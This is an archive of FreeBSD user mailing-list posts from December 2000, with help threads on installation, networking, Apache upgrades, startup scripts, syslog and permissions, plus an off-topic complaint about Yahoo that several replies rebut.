> 3COM Ethernet card and a WaveLAN card. Both are attached at the same subnetwork,
> I mean , both has the same subnetwork address, but different host address.

Well, that doesn't work. Each NIC should be connected to different
networks. If you want your box to respond to 2 different addresses on
the same network, use IP-aliases instead.
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On Tue, Dec 19, 2000 at 05:31:49PM +0300, Vasiliy.Perelygin@ct.cnt.ru wrote:
> 
> I've got the following message during 3.4-RELEASE installation:
> 
> "A Signal 11 was caught - I'm saving... etc."
> 
> Debug window says: Signal 11 caught! That's bad.
> 
> I agree it's bad but I don't know what does it mean. I would like
> to get any recommendations. Thanks.

As shipped on the CD, 3.4-RELEASE had a problem with custom
installations. You could try getting 3.5-RELEASE or install
4.2-RELEASE.
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On Tue, Dec 19, 2000 at 05:08:21PM +0000, fpassera@freesurf.fr wrote:
> 
> Hello,
> 
> I run Apache-1.3.12 under FreeBSD4.0. I wish to upgrade Apache (not
> FreeBSD) to apache-1.3.14. What is the best approach :
> * delete package apache-1.3.12 and install package-1.3.14 ?
> OR 
> * install package-1.3.14 without uninstalling the package apache-1.3.12.

	make the new apache.
	pkg_delete the old apache.
	make install the new apache.

I've done this a couple of times, and it appears to work fine. The
pkg_delete doesn't remove the configuration file or the DocumentRoot.
However, I'd adivce you to take a copy of /usr/local/etc/apache just
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> Hey, all.  Im trying to see if I could get my mouse working with my
> "new" kvm.  I read up on the psm man page about the optional flags.  How
> do I convert the bits into a flag number?  Thanks for your help.

The value of the nth bit should be 2^n if the bit is set, and 0 otherwise.
Simply add all of the bits. For example, if you wanted to set HOOKRESUME
(bit 13) and INITAFTERSUSPEND (bit 14), you'd have 2^13 + 2^14 = 0x6000. You
could then make an entry in your kernel configuration file similar to this:
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In message <00a101c069bb$36b66da0$0c00a8c0@ipform.ru> "Artem Koutchine" writes:
: So, I really need some ideas on how to disable sniffers on the network which
: is a typical 10Mbit ethernet build on a bunch of hubs. It consists of

Upgrade to switches, or live with sniffers.  Those are your choices.
You can reduce the impact of sniffers with encryption.

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Although sniffing is still possible over a switched network with some
arp tricks..


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Upgrade to switches, or live with sniffers.  Those are your choices.
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In message <657B20E93E93D4118F9700D0B73CE3EA02433D@goofy.epylon.lan> Jason DiCioccio writes:
: Although sniffing is still possible over a switched network with some
: arp tricks..

It depends on the switch...  But there may be some man in the middle
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I believe most switches are Layer 2 which is MAC based. You would have to
know the MAC address of the computer you want to intercept traffic for, and
then your switch would have to give you the packets instead of erroring out
and or dropping the packets because you can't have two of the same MAC
addresses on the network.

Has anyone actually gotten another's information spoofing MAC addresses?

I don't see how this could work.

Chuck

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>
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> DiCioccio writes:
> : Although sniffing is still possible over a switched network with some
> : arp tricks..
>
> It depends on the switch...  But there may be some man in the middle
> attacks that are still possible with switches, but I haven't thought
> about it too much.
>
> Warner
>
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On Tue, Dec 19, 2000 at 04:26:13PM -0600, Chuck Rock wrote:
> I believe most switches are Layer 2 which is MAC based. You would have to
> know the MAC address of the computer you want to intercept traffic for, and
> then your switch would have to give you the packets instead of erroring out
> and or dropping the packets because you can't have two of the same MAC
> addresses on the network.
> 
> Has anyone actually gotten another's information spoofing MAC addresses?
> 
> I don't see how this could work.

Some switches do bad things when one port reports lots(for various definitions
of lots) of MAC addresses behind one port.

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hi there


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i'm sorry, i'm just a newbey - please help me out.

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> I believe most switches are Layer 2 which is MAC based. You would
have to
> know the MAC address of the computer you want to intercept traffic
for, and
> then your switch would have to give you the packets instead of
erroring out
> and or dropping the packets because you can't have two of the same
MAC
> addresses on the network.

Well, there's MAC/ARP-proxying which allows pretty sophisticated 
maninthemiddles and quite a few of the more common switches fall
back into Hub-Mode when you flood them with bogus ARP-entries.
dsniff (ports/security) facilitates those attacks.

Switches aren't much more secure than hubs, it's more a design- and
speed-issue than a security-thingie to have 'em in your network.

jonas

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It sounds like something is going wrong at boot, dropping you into
single-user mode.  You will have to be a little more specific
about the 'bla bla bla' part of the output if you want anybody
to be able to help you figure out what's going wrong, though...

On Tue, Dec 19, 2000 at 11:38:30PM +0100, Willem van Veelen wrote:
> hi there
> 
> 
> if i boot the kernel of my freebsd 4.1, it says:
> bla bla bla ... or press RETURN for /usr/bin/sh (or something like that)
> 
> now i do not get the usual loginscreen any more.
> 
> i'm sorry, i'm just a newbey - please help me out.
> 
> thanks.
> 
> 
> 
> groeten,
> 
> --
> willem van veelen
> willem@melp.nl.com
> 
> 
> 
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Date: Tue, 19 Dec 2000 23:51:00 +0100
From: Frank Sonnemans <frank.sonnemans@euronet.be>
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Currently I am crashing my FreeBSD workstation by filling up the kernels 
file table. I suspect that the KDE Conquerer is eating file handles, but it 
might be the Apache / Mason / DBI trio running at localhost. How can I 
check which application is filling up the kernels file table?

Regards,

Frank




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From owner-freebsd-questions  Tue Dec 19 14:59:49 2000
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From: Nick Slager <nicks@albury.net.au>
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Thus spake Ryan Masse (rmasse@mastery.ca):

> can anyone tell me what this is.. some sort of dos? i found it in the
> outputs and have never seen it before.
> 
> comp1.mastery.ca kernel log messages:
> > icmp-response bandwidth limit 201/200 pps
> > icmp-response bandwidth limit 201/200 pps
> > icmp-response bandwidth limit 201/200 pps

Yes, it's probably some sort of DoS, although not necessarily. There's
an option in the kernel that rate limits ICMP responses. From LINT:

# ICMP_BANDLIM enables icmp error response bandwidth limiting.   You
# typically want this option as it will help protect the machine from
# D.O.S. packet attacks.
#
options         ICMP_BANDLIM


Regards,


Nick

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From owner-freebsd-questions  Tue Dec 19 15: 6: 4 2000
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I've had FBSD installed for a couple of months now and have decided that to
further my experience with it I need to start learning about scripts.  I
assume I need to learn about the standard /bin/sh shell (<- is this the
correct term?).  Can anyone recommend reading or URLs for the beginner?  I
have experience with DOS batch file and OpenVMS command procedures so any
reference that makes comparisons with those operating systems would be extra
helpful.

My immediate need is to write a script that starts my dynamic IP service
client to place in rc.d.  If someone could help me with this I'd be most
appreciative.  To start it from the command line, I just su to root and type
"dynipclient".  How do I put this in a script?

Thanks,

Drew



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Thus spake Matt Schlosser (mschlosser@eschelon.com):

> Here's and easy one:
> I want to do a make world and not build all the games and crap.  What is the
> easiest way to go about it?  Should I just not download the sources?

You can selectively grab source collections with CVS and CVSup.

The build is controlled to a certain extent by Makefile directives set
in /etc/make.conf. Look at /etc/defaults/make.conf for some examples.

Regards,


Nick

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Thus spake Gerald T. Freymann (freymann@eagle.ca):

>  While trying to install Frontpage Extensions on my nice new FreeBSD 4.1.2
> machine (I know, YUK!) the script came up and said "lib.so.3 not found"
                                                      libc.so.3 :-)

You need to install the 3.x compatibility libraries.

cd /usr/src/lib/compat/compat3x.i386
make install clean
ldconfig -m /usr/lib/compat

Or, use sysinstall.


Nick

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Thus spake Brian (Killabunny@seductive.com):

> Just curious,
> i've just noticed the "Handbook" section of Freebsd.org doesn't like to
> load, is it under construction or is my browser just refusing to load it?

Works fine here :-)

http://www.freebsd.org/handbook/


Nick

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Little question that is bugging me, I forwarded what I got back from the
MAILER-DEAMON... it states this
> >>> MAIL From:<root@purehype.netail.purehype.net>
now... my MX is mail.purehype.net, in local-host-names I do have
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>



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What I am trying to do:=0D	My primary goal is creating a =
bullet-proof nameserver.=0D	One in which files in /, /etc, and /usr =
cannnot be changed.=0D	Hopefully this will make it very difficult to =
hack/subvert.=0D	Another goal is to put togather a 'surf =
station'; basically=0D	a kiosk with a network connection and a browser =
for student=0D	use.  Something our students can't =
hurt/break/subvert/crash=0D	without a hammer.=0D=0DThis is what I =
plan to do:=0D	Non-volatile files are to be on CD-rom:=0D		=
/=0D		/etc=0D		/usr.=0D	=0D	Volatile files =
will be on a hard disk:=0D		swap=0D		/var mounted no =
execute.=0D	=0DI have read the Torito specs.=0DI have installed =
mkisofs.=0DI have surfed for hints on the web.=0DI have scoured the =
FreeBSD sight for hints.=0DEarlier I posted to this group and received a =
few=0Dresponses.  Most wished me luck and asked me to write=0Da HOWTO =
when I figured it out.  A couple made some suggestions=0Dbut so far not =
a lot of luck!?=0D=0DI have configured a RUNNING system, created an iso =
image=0Dwith necessary changes to /etc/fstab and /etc/rc,=0Dand burned =
several cd's.  Some of them booted, but=0Dtried to put me into the =
installation process.  Bummer.=0DWhen I aborted the installation I was =
actually running off the=0DCD so I am on the right track.  I just need =
to get the boot=0Dprocess so it will work without operator intervention. =
 What=0DI want is for the "boot from the CD process" to be functionally=0D=
equivalent to the "boot from the Hard Disk process" of my=0Dconfigured =
system.=0D=0DI DON'T want to make an install cd, I buy those.  I want to=0D=
make a bootable cd of a running/configured system.=0D=0DThe only boot =
program I could find to put on the cd that=0Dwould actually allow the cd =
to boot was boot.flp, which=0Dof course plunges me into the install.=0D=0D=
Still searching for clues?=0D=0Dhal=0D=0DPS.	Am I asking this =
question of the correct group?=0D	Should I be asking the hackers =
group?  Their charter=0D	seems to imply not.=


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What I am trying to do:=0D	My primary goal is creating a =
bullet-proof nameserver.=0D	One in which files in /, /etc, and /usr =
cannnot be changed.=0D	Hopefully this will make it very difficult to =
hack/subvert.=0D	Another goal is to put togather a 'surf =
station'; basically=0D	a kiosk with a network connection and a browser =
for student=0D	use.  Something our students can't =
hurt/break/subvert/crash=0D	without a hammer.=0D=0DThis is what I =
plan to do:=0D	Non-volatile files are to be on CD-rom:=0D		=
/=0D		/etc=0D		/usr.=0D	=0D	Volatile files =
will be on a hard disk:=0D		swap=0D		/var mounted no =
execute.=0D	=0DI have read the Torito specs.=0DI have installed =
mkisofs.=0DI have surfed for hints on the web.=0DI have scoured the =
FreeBSD sight for hints.=0DEarlier I posted to this group and received a =
few=0Dresponses.  Most wished me luck and asked me to write=0Da HOWTO =
when I figured it out.  A couple made some suggestions=0Dbut so far not =
a lot of luck!?=0D=0DI have configured a RUNNING system, created an iso =
image=0Dwith necessary changes to /etc/fstab and /etc/rc,=0Dand burned =
several cd's.  Some of them booted, but=0Dtried to put me into the =
installation process.  Bummer.=0DWhen I aborted the installation I was =
actually running off the=0DCD so I am on the right track.  I just need =
to get the boot=0Dprocess so it will work without operator intervention. =
 What=0DI want is for the "boot from the CD process" to be functionally=0D=
equivalent to the "boot from the Hard Disk process" of my=0Dconfigured =
system.=0D=0DI DON'T want to make an install cd, I buy those.  I want to=0D=
make a bootable cd of a running/configured system.=0D=0DThe only boot =
program I could find to put on the cd that=0Dwould actually allow the cd =
to boot was boot.flp, which=0Dof course plunges me into the install.=0D=0D=
Still searching for clues?=0D=0Dhal=0D=0DPS.	Am I asking this =
question of the correct group?=0D	Should I be asking the hackers =
group?  Their charter=0D	seems to imply not.=



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On Tue, 19 Dec 2000, Mike wrote:

> Is there a quick/easy way to list all the perl modules and their version on 
> a server?

Hi Mike,

I'm sure there's a command to do this, but I don't know what it is as my
favourite way to see installed Perl Modules is through the Webmin
utility. If you've built X and Netscape, Webmin is well worth a try. The
Perl Module isn't built in by default, but you can add it in about a
minute by clicking on the Third-Party Modules hyperlink on the Webmin home
page. There's a couple of articles on how to use Webmin at the O'Reilly
website:

http://www.oreillynet.com/pub/a/bsd/2000/11/01/FreeBSD_Basics.html

Have fun!

Dru



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Hello,

I've always wondered that myself.  But, i think the first option is the way
to go (* delete package apache-1.3.12 and install package-1.3.14 ?)  becasue
I've heard of horror stories about one guy having three OpenSSH's in
pkg_info when he only had one.

Hope this helps,
Mike


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>
> Hello,
>
> I run Apache-1.3.12 under FreeBSD4.0. I wish to upgrade Apache (not
> FreeBSD) to apache-1.3.14. What is the best approach :
> * delete package apache-1.3.12 and install package-1.3.14 ?
> OR
> * install package-1.3.14 without uninstalling the package apache-1.3.12.
>
> Thank you.
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Hey there

It seems that all you problems would be solved if you just let them access
your computer anonymously.

Mike

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> Hi everyone:
>
> I need to create a user that has very restricted access to the system.
> I need to allow access to my ftp to a lot of people but these people
> don't need access to telnet or ssh or any other service on my box.  I
> would like to limit the user that way, as well as another way.  I
> would also like to limit the user in what they can see.  Is it
> possible to not allow the user to cd out of its home directory?  I
> don't want them seeing anything outside of that dir if possible.
>
> Any ideas on how to get started?
>
> Thanks in Advance
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I just did a full install of FreeBSD 3.1 from the cd's and I can't locate
(or invoke) lynx.  I installed all of the ports on the cd ... how do I find
and then invoke lynx?

thanks,
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Hi,
Is it possible to build a native FreeBSD program that links to a Linux
library?

In particular, I'd like to be able to build a native program that links
to the Linux OCI stuff (Oracle client libraries).

Any information on this would be appreciated.

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On Tue, 19 Dec 2000, Drew Tomlinson wrote:

> I've had FBSD installed for a couple of months now and have decided that to
> further my experience with it I need to start learning about scripts.  I
> assume I need to learn about the standard /bin/sh shell (<- is this the
> correct term?).  Can anyone recommend reading or URLs for the beginner?  I
> have experience with DOS batch file and OpenVMS command procedures so any
> reference that makes comparisons with those operating systems would be extra
> helpful.
> 
> My immediate need is to write a script that starts my dynamic IP service
> client to place in rc.d.  If someone could help me with this I'd be most
> appreciative.  To start it from the command line, I just su to root and type
> "dynipclient".  How do I put this in a script?

Hi Drew,

My favourite "I know nothing about scripting but need a script now" URL is:

http://www.ocean.odu.edu/ug/shell_help.html


Once you've mastered this, try these ones:


http://www.oase-shareware.org/shell/

http://www.ling.helsinki.fi/users/reriksso/unix/#shell

http://www.shellscripts.com/links.html

http://uwsg.ucs.indiana.edu/edcert/session3/shell/

Cheers,

Dru




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In the last episode (Dec 19), Scott Cruzen said:
> Hi, Is it possible to build a native FreeBSD program that links to a
> Linux library?
> 
> In particular, I'd like to be able to build a native program that
> links to the Linux OCI stuff (Oracle client libraries).

No; it wouldn't even be able to do any FILE * operations, as our struct
FILE is different from Linux.

The only solution is to install the linux_devtools port and build Linux
binaries.

-- 
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check out the /usr/local/etc/rc.d directory. If you make a script in
the form of script.sh they will be called on to start at boot time. if
you have apache, dnetc, ups utils, etc... you can see how other apps
are using it.
-Otter


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}From: owner-freebsd-questions@FreeBSD.ORG
}[mailto:owner-freebsd-questions@FreeBSD.ORG]On Behalf Of
}Drew Tomlinson
}Sent: Tuesday, December 19, 2000 6:06 PM
}To: FreeBSD Questions (E-mail)
}Subject: URLs For Script Intro for Newbie
}
}
}I've had FBSD installed for a couple of months now and have
}decided that to
}further my experience with it I need to start learning about
}scripts.  I
}assume I need to learn about the standard /bin/sh shell (<-
}is this the
}correct term?).  Can anyone recommend reading or URLs for
}the beginner?  I
}have experience with DOS batch file and OpenVMS command
}procedures so any
}reference that makes comparisons with those operating
}systems would be extra
}helpful.
}
}My immediate need is to write a script that starts my
}dynamic IP service
}client to place in rc.d.  If someone could help me with this
}I'd be most
}appreciative.  To start it from the command line, I just su
}to root and type
}"dynipclient".  How do I put this in a script?
}
}Thanks,
}
}Drew
}
}
}
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> I'm reconfiguring a network into separate internal and external
> segments separated by a firewall.  However it's going to take me a
> little while to do it, and in order to keep things functioning until
> it's done, I'm gong to have to keep both the inside and outside
> nic's plugged into the same switch (which gives a lot of errors like
> this).
> 
> /kernel: arp: 10.10.1.70 is on rl0 but got reply from (mac) on fpx0
> 
> Is there a way that I can temporarely supress these errors from
> poping up on the console until i'm done with the config?

Near the top of /etc/syslog.conf, you'll have a line that looks like:

  *.err;kern.debug;auth.notice;mail.crit          /dev/console

and a little further down:

  *.err                                           root

Those messages are logged under kern.err, I believe, so that's why
those messages are getting sent to /dev/console and root's tty.  Just
edit syslog.conf (see syslog.conf(5)), restart syslogd (see
syslogd(8)), and those messages will be out of your way.  If I'm wrong
about the priority of the messages, you'll have to edit some other
lines.

Lucas


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I am in windows right now, so I can't verify that the following filename is
correct.  It is somethign like /etc/syslog and in there, you can comment out
line 5 (messages that go to the console) and comment out the lines that go
to 'root'.  Then reboot to make the changes.  Actually, does anyone know
another way to make the changes without rebooting?

Mike


----- Original Message -----
From: "Peter Brezny" <peter@sysadmin-inc.com>
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Sent: Tuesday, December 19, 2000 1:51 PM
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> I'm reconfiguring a network into separate internal and external segments
> separated by a firewall.  However it's going to take me a little while to
do
> it, and in order to keep things functioning until it's done, I'm gong to
> have to keep both the inside and outside nic's plugged into the same
switch
> (which gives a lot of errors like this).
>
> /kernel: arp: 10.10.1.70 is on rl0 but got reply from (mac) on fpx0
>
> Is there a way that I can temporarely supress these errors from poping up
on
> the console until i'm done with the config?
>
> TIA
>
> Peter Brezny
> SysAdmin Services Inc.
>
>
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Hey there

If you haven't done so recently, I would upgrade your /usr/ports directory
with CVSUP..  All the documentation you could ever want is available from
Freebsd.org.  This happened to me for BitchX one time.

Remember, keeping the /usr/ports is very imporant!

Mike


----- Original Message -----
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To: <freebsd-questions@FreeBSD.ORG>
Sent: Tuesday, December 19, 2000 11:31 AM
Subject: Compiling jdk 1.2.2


>
> Hello pals!
>
> I'm trying to compile jdk 1.2.2 in my freebsd box.
>
> I have download all the packages and dependences:
>
> jdk1_2_2-src.tar.gz
> freebsd-jdk122-patches-10.tar.gz
> jdk-1.2.2-RC4-linux-i386-glibc-2.1.2.tar.bz2
> openmotif-devel-2.1.30.4ML1.tgz
> unixODBC-1.8.8.tar.gz
> swing1_1_1.zip
> linux_base-6.1.tgz
> gmake-3.79.1
> ... etc.
>
> and it seems to me that jkd-1.2.2-RC4-linux-i386-glibc-2.1.2.tar.bz2
> cannot be recognized as a proper jdk, according to the next messages:
>
> Isabeau:/usr/ports/java/jdk12-beta# make
> ===>  Extracting for jdk-1.2.2b10
> >> No MD5 checksum file.
> ===>   jdk-1.2.2b10 depends on executable: gm4 - found
> ===>   jdk-1.2.2b10 depends on executable: zip - found
> ===>   jdk-1.2.2b10 depends on file: /usr/local/jdk1.1.8/bin/javac - found
> ===>   jdk-1.2.2b10 depends on file: /usr/local/linux-jdk1.2.2/bin/javac -
found
> ===>   jdk-1.2.2b10 depends on file: /usr/X11R6/lib/libMrm.a - found
> ===>   jdk-1.2.2b10 depends on file: /nonexistent - found
> ===>   jdk-1.2.2b10 depends on executable: gmake - found
> ===>   jdk-1.2.2b10 depends on shared library: odbc.1 - found
> ===>  Patching for jdk-1.2.2b10
> ===>  Configuring for jdk-1.2.2b10
> ===>  Building for jdk-1.2.2b10
>
> ERROR: Your ALT_BOOTDIR environment variable does not point
>        to a valid JDK for bootstrapping this build.
>        A JDK 1.2 or 1.2.x build must be bootstrapped against
>        a 1.2-V (or later) build. Please update your ALT_BOOTDIR
>        setting, or just unset it, and try again.
>
> gmake: *** [sanity] Error 1
> *** Error code 2
>
> Stop in /usr/ports/java/jdk12-beta.
> *** Error code 1
>
> Stop in /usr/ports/java/jdk12-beta.
> *** Error code 1
>
> Stop in /usr/ports/java/jdk12-beta.
>
>
> Do you know what I can do to get jdk1.2.2 working ?
>
> Thanks in advance!
>
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I did that and I made a script and rebooted but my script did not run as the
program wasn't listed in my ps -acux output.  But if I did cd
/usr/local/etc/rc.d and then issued ./myscript.sh it works fine.  This is my
script:

103 Blacksheep# cat dynip.sh
#!/bin/sh
/usr/local/bin/dynipclient -f /etc/dynip.cfg

Where would I find the output of what happened when this was run during
boot?

Thanks,

Drew

> -----Original Message-----
> From: Otter [mailto:otterr@telocity.com]
> Sent: Tuesday, December 19, 2000 3:50 PM
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>
>
> check out the /usr/local/etc/rc.d directory. If you make a script in
> the form of script.sh they will be called on to start at boot time. if
> you have apache, dnetc, ups utils, etc... you can see how other apps
> are using it.
> -Otter
>
>
> }-----Original Message-----
> }From: owner-freebsd-questions@FreeBSD.ORG
> }[mailto:owner-freebsd-questions@FreeBSD.ORG]On Behalf Of
> }Drew Tomlinson
> }Sent: Tuesday, December 19, 2000 6:06 PM
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> }Subject: URLs For Script Intro for Newbie
> }
> }
> }I've had FBSD installed for a couple of months now and have
> }decided that to
> }further my experience with it I need to start learning about
> }scripts.  I
> }assume I need to learn about the standard /bin/sh shell (<-
> }is this the
> }correct term?).  Can anyone recommend reading or URLs for
> }the beginner?  I
> }have experience with DOS batch file and OpenVMS command
> }procedures so any
> }reference that makes comparisons with those operating
> }systems would be extra
> }helpful.
> }
> }My immediate need is to write a script that starts my
> }dynamic IP service
> }client to place in rc.d.  If someone could help me with this
> }I'd be most
> }appreciative.  To start it from the command line, I just su
> }to root and type
> }"dynipclient".  How do I put this in a script?
> }
> }Thanks,
> }
> }Drew
> }
> }
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On Tue, Dec 19, 2000 at 05:56:15PM -0600, lanehol@bellsouth.net wrote:
> I just did a full install of FreeBSD 3.1 from the cd's and I can't locate
> (or invoke) lynx.  I installed all of the ports on the cd ... how do I find
> and then invoke lynx?
> 
> thanks,
> lane
> P.S.  I ain't as dumb as I seem ... just worn out from the installation
> 

	I just installed 4.2 and it isn't on there.  Have you run
	"locate lynx" or a "find" command to search for it?  You might
	have to build the port.
	kent

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It all started with multiple sendmail errors and apache permission errors
and I don't know what caused this.  I thought reinstalling BSD then apache
might help but in the process I seem to have made matters worse.  I am using
4.1.1-Release for i386.  Here are is the symtpoms of the problem...below is
the history leading up to the situation.

When I try to su to my account from root I get the following:
su: /bin/tcsh: Permission denied

When I try to logon from console I get the following:
<date/time> <hostname> login: _secure_path: cannot stat
/home/<user>/.login_conf: Permission denied
<date/time> <hostname> login: _secure_path: cannot stat /etc/login.conf:
Permission denied
Cannot find root directory.
<date/time> <hostname> login: LOGIN <user> REFUSED (ROOTDIR) ON TTY ttyv0

Here are the events that led to my current situation:
used /stand/sysinstall to do custom install on an already operating system
with constant sendmail problems errrors messages (I dont even use sendmail).
I thought I may have corrupted some conf file somewhere and didnt know how
to find it.  I then reinstalled Apache after I backed up all existing files.
This is when I noted my group www was no longer valid and I discovered all
my users were no longer built even though the /usr/home/* were still there.

I figured I had to recreate all the users and groups I need to operate as
before.  So I began with my own account.  It seemed to add properly using
adduser but the files in /usr/home/<myacct> was all assigned to the
incorrect UID and GID.  I realized the GID and UID were from the old
accounts so I thought it best to start with a clean /usr/home area.
I changed home to homeold and created a new /usr/home folder.  I then rmuser
all accounts and started over.  I created an account for myself and verified
the /usr/home/<myacct> looked good.  IE All files in my home was assigned to
my account name and my group name (username and group name is the same for
now)

any help would be appreciated...once I get this resolved I can move on the
myraid of other problems I seem to have developed within the last few days.
for now just one fix at a time so I can get a handle on this.  But for the
record here are the other problems I have in case they may be part of this.

<dat/time> <hostname> sendmail[578]: eBJJSxf00578: forward
/home/<user>.forward: Permission denied

<dat/time> <hostname> sendmail[578]: eBJJSxf00578: SYSERR(root) hash map
"Alias0": missing map file /etc/mail/aliases.db: No such file or directory
(message similar to this before the reinstall stated something about
dangerous global map I thiink....cant seem to find the older sytem messages
anymore)

<date/time> <hostname> sendmail[268]: NOQUEUE: SYSERR: putoutmsg (NO-HOST):
error on output channel sending "454 4.8.8 fill_fd: before readcf: fd 1 not
open: Bad file descriptor": Input/output error

<date/time> <hostname> sendmail[268]: NOQUEUE: SYSERR(root): fill_fd: before
readcf: fd 1 not open: VBad file descriptor

<date/time> <hostname> sendmail[268]: NOQUEUE: SYSERR(root): fill_fd: before
readcf: fd 2 not open: VBad file descriptor

Thats all I can fine in the last 24 hours.  I can use all the help you can
offer this time.  Spelling or syntax might be off since I transcribed all
messages by hand because I am only root account works right now and it wont
allow me to telnet to that login.

Thanks
Jason



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I'm certain there was some mention of an issue with lynx in 4.0 or 4.1
and later .... something to do with security perhaps ??

I'm no expert at compiling stuff but I noticed something at the lynx
homepage
about the issue with FreeBSD 4.x and understood the workaround was to
download / compile / install the latest version from source

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> On Tue, Dec 19, 2000 at 05:56:15PM -0600, lanehol@bellsouth.net wrote:
> > I just did a full install of FreeBSD 3.1 from the cd's and I can't
locate
> > (or invoke) lynx.  I installed all of the ports on the cd ... how do I
find
> > and then invoke lynx?
> >
> > thanks,
> > lane
> > P.S.  I ain't as dumb as I seem ... just worn out from the installation
> >
>
> I just installed 4.2 and it isn't on there.  Have you run
> "locate lynx" or a "find" command to search for it?  You might
> have to build the port.
> kent
>
> --
>   "In order to make an apple pie from scratch,
>       you must first create the universe."
>                  - Carl Sagan
>
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Just did a "find" in FBSD 4.2...

/usr/ports/www/lynx

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On Wed, 20 Dec 2000, Doug Young wrote:

> I'm certain there was some mention of an issue with lynx in 4.0 or 4.1
> and later .... something to do with security perhaps ??
> 
> I'm no expert at compiling stuff but I noticed something at the lynx
> homepage
> about the issue with FreeBSD 4.x and understood the workaround was to
> download / compile / install the latest version from source
> 
> ----- Original Message -----
> From: "ktb" <x.y.f@home.com>
> To: <freebsd-questions@FreeBSD.ORG>
> Sent: Wednesday, December 20, 2000 10:40 AM
> Subject: Re: Where'd lynx go?
> 
> 
> > On Tue, Dec 19, 2000 at 05:56:15PM -0600, lanehol@bellsouth.net wrote:
> > > I just did a full install of FreeBSD 3.1 from the cd's and I can't
> locate
> > > (or invoke) lynx.  I installed all of the ports on the cd ... how do I
> find
> > > and then invoke lynx?
> > >
> > > thanks,
> > > lane
> > > P.S.  I ain't as dumb as I seem ... just worn out from the installation
> > >
> >
> > I just installed 4.2 and it isn't on there.  Have you run
> > "locate lynx" or a "find" command to search for it?  You might
> > have to build the port.
> > kent
> >
> > --
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> >       you must first create the universe."
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I noticed Yahoo has you listed as one of their business supporters. I
stopped using Yahoo aggressively after I realized they support all religions
except Christianity. Just try to find a Christmas card about Christ amongst
all the other religious cards they freely give users access to on their main
page for "Christmas".  Since Yahoo refuses to acknowledge Christmas as an
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Oh God, just wait till she sees the beastie logo :)

On Tue, 19 Dec 2000, Debbie Machado wrote:

> Date: Tue, 19 Dec 2000 16:41:48 -0800
> From: Debbie Machado <ldmservices@charter.net>
> To: freebsd-questions@FreeBSD.ORG
> Subject: Why do you support Yahoo!
> 
> I noticed Yahoo has you listed as one of their business supporters. I
> stopped using Yahoo aggressively after I realized they support all religions
> except Christianity. Just try to find a Christmas card about Christ amongst
> all the other religious cards they freely give users access to on their main
> page for "Christmas".  Since Yahoo refuses to acknowledge Christmas as an
> American Religious Holiday, like the other ones they list, I figured this
> year I would sent out a Christmas card from their service to all my family,
> friends, business associates, clients, & online news media simply explaining
> what I've observed and how it makes me feel.  I also will list all the
> sponsors, advertisers, & partners as supporters.  You don't need to respond
> to me. YOU NEED TO REACT TO THEM.  In Him -Debbie
> 



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On Tue, Dec 19, 2000 at 07:48:14PM -0800, Jason wrote:
> It all started with multiple sendmail errors and apache permission errors
> and I don't know what caused this.  I thought reinstalling BSD then apache
> might help but in the process I seem to have made matters worse.  I am using
> 4.1.1-Release for i386.  Here are is the symtpoms of the problem...below is
> the history leading up to the situation.
> 
> When I try to su to my account from root I get the following:
> su: /bin/tcsh: Permission denied

Check your permissions on /, /bin. Sounds like you may have messed it
up.
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Debbie -
	I am a bit surprised by this... I just went to yahoo, did a search
for "christmas cards".  One of the top links was for:

eCards: Christmas Greetings Cards from Yahoo! Greetings 

I went there.  On the left was a link to religous cards.  I went
there.  Many of the cards seem to be very Christian.  The text from one
says:

"Wise men from the East followed the star as it lead to the Saviour of the
world in a humble cattle shed. May Christ our redeemer be everlasting joy
for you and me! Have a wonderful Christmas!"

It doesn't get much more Christian than that.  I'm hoping you just missed
these, or perhaps there was some other glitch.

-philip

On Tue, 19 Dec 2000, Debbie Machado wrote:

> I noticed Yahoo has you listed as one of their business supporters. I
> stopped using Yahoo aggressively after I realized they support all religions
> except Christianity. Just try to find a Christmas card about Christ amongst
> all the other religious cards they freely give users access to on their main
> page for "Christmas".  Since Yahoo refuses to acknowledge Christmas as an
> American Religious Holiday, like the other ones they list, I figured this
> year I would sent out a Christmas card from their service to all my family,
> friends, business associates, clients, & online news media simply explaining
> what I've observed and how it makes me feel.  I also will list all the
> sponsors, advertisers, & partners as supporters.  You don't need to respond
> to me. YOU NEED TO REACT TO THEM.  In Him -Debbie
> 



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In the last episode (Dec 19), Debbie Machado said:
> I noticed Yahoo has you listed as one of their business supporters. I
> stopped using Yahoo aggressively after I realized they support all
> religions except Christianity. Just try to find a Christmas card
> about Christ amongst all the other religious cards they freely give
> users access to on their main page for "Christmas".  Since Yahoo

Are you kidding?  

http://greetings.yahoo.com/greet/send?.id=152039256&.catu=/browse/Holidays/Christmas/
http://greetings.yahoo.com/greet/send?.id=152039255&.catu=/browse/Holidays/Christmas/
http://greetings.yahoo.com/greet/send?.id=152039242&.catu=/browse/Holidays/Christmas/

Sure look like Christian cards to me..


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Hmmmm .... it certainly wasn't in the 4.1's I've installed,
presumably someone has fixed whatever it was that was broken :)

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> Just did a "find" in FBSD 4.2...
>
> /usr/ports/www/lynx
>
>  ____  _
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> |____/ \__\___| \_/ \___|
> =========================
>  vandena@ispchannel.com
>
> On Wed, 20 Dec 2000, Doug Young wrote:
>
> > I'm certain there was some mention of an issue with lynx in 4.0 or 4.1
> > and later .... something to do with security perhaps ??
> >
> > I'm no expert at compiling stuff but I noticed something at the lynx
> > homepage
> > about the issue with FreeBSD 4.x and understood the workaround was to
> > download / compile / install the latest version from source
> >
> > ----- Original Message -----
> > From: "ktb" <x.y.f@home.com>
> > To: <freebsd-questions@FreeBSD.ORG>
> > Sent: Wednesday, December 20, 2000 10:40 AM
> > Subject: Re: Where'd lynx go?
> >
> >
> > > On Tue, Dec 19, 2000 at 05:56:15PM -0600, lanehol@bellsouth.net wrote:
> > > > I just did a full install of FreeBSD 3.1 from the cd's and I can't
> > locate
> > > > (or invoke) lynx.  I installed all of the ports on the cd ... how do
I
> > find
> > > > and then invoke lynx?
> > > >
> > > > thanks,
> > > > lane
> > > > P.S.  I ain't as dumb as I seem ... just worn out from the
installation
> > > >
> > >
> > > I just installed 4.2 and it isn't on there.  Have you run
> > > "locate lynx" or a "find" command to search for it?  You might
> > > have to build the port.
> > > kent
> > >
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On Tue, 19 Dec 2000, Debbie Machado wrote:

> I noticed Yahoo has you listed as one of their business supporters. I
> stopped using Yahoo aggressively after I realized they support all
> religions except Christianity.

Not that Xtianity or any other religion (apart from perhaps
daemon-worship) has anything at all to do with FreeBSD:

http://greetings.yahoo.com/browse/Holidays/Christmas/Religious/

Plenty of cards with that Jesus dude there. Perhaps you should try looking
before you rant. This really has no place here.

G

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Don't I feel stupid.  I didnt know / had permissions since there seems to be
